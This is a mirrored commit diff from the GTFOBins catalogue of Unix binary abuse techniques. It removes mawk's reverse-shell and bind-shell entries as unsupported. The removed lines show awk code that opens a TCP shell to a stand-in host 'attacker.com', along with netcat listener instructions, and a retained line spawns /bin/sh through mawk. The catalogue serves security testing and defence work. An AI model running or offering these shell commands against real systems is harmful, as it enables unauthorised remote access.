mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 16:58:36 +01:00 
			
		
		
		
	Remove network shell functions from mawk as not supported
This commit is contained in:
		| @@ -2,23 +2,6 @@ | ||||
| functions: | ||||
|   shell: | ||||
|     - code: mawk 'BEGIN {system("/bin/sh")}' | ||||
|   non-interactive-reverse-shell: | ||||
|     - description: Run `nc -l -p 12345` on the attacker box to receive the shell. | ||||
|       code: | | ||||
|         RHOST=attacker.com | ||||
|         RPORT=12345 | ||||
|         mawk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN { | ||||
|             s = "/inet/tcp/0/" RHOST "/" RPORT; | ||||
|             while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; | ||||
|             while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' | ||||
|   non-interactive-bind-shell: | ||||
|     - description: Run `nc target.com 12345` on the attacker box to connect to the shell. | ||||
|       code: | | ||||
|         LPORT=12345 | ||||
|         mawk -v LPORT=$LPORT 'BEGIN { | ||||
|             s = "/inet/tcp/" LPORT "/0/0"; | ||||
|             while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; | ||||
|             while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' | ||||
|   file-write: | ||||
|     - code: | | ||||
|         LFILE=file_to_write | ||||
|   | ||||
		Reference in New Issue
	
	Block a user